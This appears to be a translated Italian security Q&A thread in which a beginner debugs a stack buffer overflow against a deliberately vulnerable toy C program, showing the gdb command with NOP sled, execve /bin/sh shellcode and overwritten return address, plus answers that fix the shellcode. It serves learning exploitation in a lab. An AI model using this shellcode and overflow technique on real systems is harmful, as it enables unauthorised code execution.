Impossibile eseguire lo shellcode nell'esempio di overflow del buffer di base

2

Ho un esempio di base di un programma vulnerabile all'overflow del buffer ( estratto da questa altra domanda ).

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

Spiegherò il mio "flusso di pensieri":

Il mio primo approccio, dato che conosco la lunghezza del buffer, era di riempirlo interamente con "NOPs" (477 byte) + shellcode (23 byte) + NOPs + indirizzo di ritorno, essendo l'indirizzo di ritorno all'inizio del mio buffer.

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")

Ecco la memoria corrente:

0xffffcef8: 0x00    0x00    0x00    0x00    0x90    0x90    0x90    0x90
0xffffcf00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf10: 0x90    0x90    0x90    0x90    0x00    0x90    0x90    0x90
0xffffcf18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
...
0xffffd0d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0d8: 0x00    0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73
0xffffd0e0: 0x68    0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3
0xffffd0e8: 0x50    0x53    0x89    0xe1    0xb0    0x0b    0xcd    0x80
0xffffd0f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0f8: 0x90    0x90    0x90    0x90    0xfc    0xce    0xff    0xff

1) Gli ultimi 4 byte sono l'indirizzo che verrà scritto in EIP, nessun problema con questo.

2) Per far funzionare correttamente il mio shellcode, dovrebbe iniziare all'inizio di una WORD. In 0xffffd0d8 c'è un 0x00 non rimovibile che non viene sovrascritto dall'overflow del buffer. Si verifica più volte nel buffer e, per quello che ho letto, è dovuto a un comportamento del ciclo nello strcpy.

3) In questa situazione, credo di aver bisogno di trovare un altro spazio per scrivere il mio shellcode, senza "0x00" che lo frantuma.

Sembra che ci sia spazio per lo shellcode proprio all'inizio del buffer (0xffffcefc), quindi cambio il buffer

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")

e mi assicuro che lo shellcode sia scritto correttamente nella memoria:

gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc:  add    al,al
   0xffffcefe:  push   eax
   0xffffceff:  push   0x68732f2f
   0xffffcf04:  push   0x6e69622f
   0xffffcf09:  mov    ebx,esp
   0xffffcf0b:  push   eax
   0xffffcf0c:  push   ebx
   0xffffcf0d:  mov    ecx,esp
   0xffffcf0f:  mov    al,0xb
   0xffffcf11:  int    0x80
gdb-peda$ 

Ma quando eseguo il codice, anche se vengono eseguiti i comandi shellcode, si blocca nel seguente byte "0x00" su 0xffffcf14 e non viene generata alcuna shell.

gdb-peda$ continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()

gdb-peda$ x/10i 0xffffcf11
   0xffffcf11:  int    0x80
   0xffffcf13:  nop
=> 0xffffcf14:  add    BYTE PTR [eax-0x6f6f6f70],dl
   0xffffcf1a:  nop
   0xffffcf1b:  nop
   0xffffcf1c:  nop
   0xffffcf1d:  nop
   0xffffcf1e:  nop
   0xffffcf1f:  nop
   0xffffcf20:  nop

gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf1c: 0x90    0x90
gdb-peda$ 

Il codice è stato compilato usando:

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

e, naturalmente, ASLR è disabilitato.

Informazioni aggiuntive:

# uname -a 
Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux

Sono un principiante nello sfruttamento, ma ho pensato che fosse un semplice esercizio e mi dava dei grattacapi ... Qualcuno può aiutarmi a capire il modo giusto per sfruttare questo buffer overflow?

    
posta Jausk 29.07.2017 - 11:00
fonte

2 risposte

1

Vedo due problemi, oltre al problema del byte null che non riesco a riprodurre (su una macchina virtuale Ubuntu 18.04).

  1. L'istruzione add al,al all'inizio dovrebbe essere xor eax,eax . La cosa strana è che i byte \ x31 \ xc0 che sono all'inizio del codice shell sono in realtà l'istruzione xor eax,eax . Se il \ x31 viene sostituito con \ x00 in qualche modo, come hai detto accada altrove, ciò lo trasformerebbe in un'istruzione add.

  2. Non stai impostando il terzo argomento per la esecuzione della chiamata di sistema. Questo può essere fatto impostando il registro edx su esp right dopo aver premuto 0x00000000 nello stack.

    xor    eax, eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp
    push   eax
    mov    edx,esp     ;set  the envp argument
    push   ebx
    mov    ecx,esp
    mov    al,0xb
    int    0x80
    

Per quanto riguarda il problema del byte null, è molto strano perché sembra che ci siano byte null nel buffer attuale dopo che è stato scritto da strcpy, cosa che non dovrebbe accadere. Vorrei impostare un breakpoint immediatamente dopo la chiamata a strcpy in assembly e ispezionare la memoria buffer. Forse lo hai già fatto, ma usa il debugger e assicurati che i byte null non si insinuano in qualche modo dopo che la copia è avvenuta.

    
risposta data 05.06.2018 - 06:46
fonte
0

Ho un problema con il tuo shellcode:

UNA VOLTA CHE SI FISSA SOPRA

Se correggi questi problemi e provi ancora questo, dalla tua descrizione si blocca su un byte nullo (che è ciò che strcpy (3) è in attesa), quindi sembra un caso di cattivo carattere!

Proverei a testare i caratteri sbagliati. Peter Van Eeckhoutte ha una buona riscrittura che copre già questo, ma se sei come me e pigro, sostituisci il byte null (0x00) con il byte break debugger (0xCC).

Una volta che si rompe, se tutte le istruzioni precedenti sono state eseguite come previsto per il tuo shellcode, puoi aggiungere un altro nop (0x90) o sostituire il byte null con un RETN

Se ciò causa un problema, poiché l'interrupt (Int 0x80) è un singolo byte, puoi anche sostituirlo e il byte null alla fine con 0xEBFE per un loop infinito JMP -2 da interrompere.

    
risposta data 06.10.2017 - 20:28
fonte

Leggi altre domande sui tag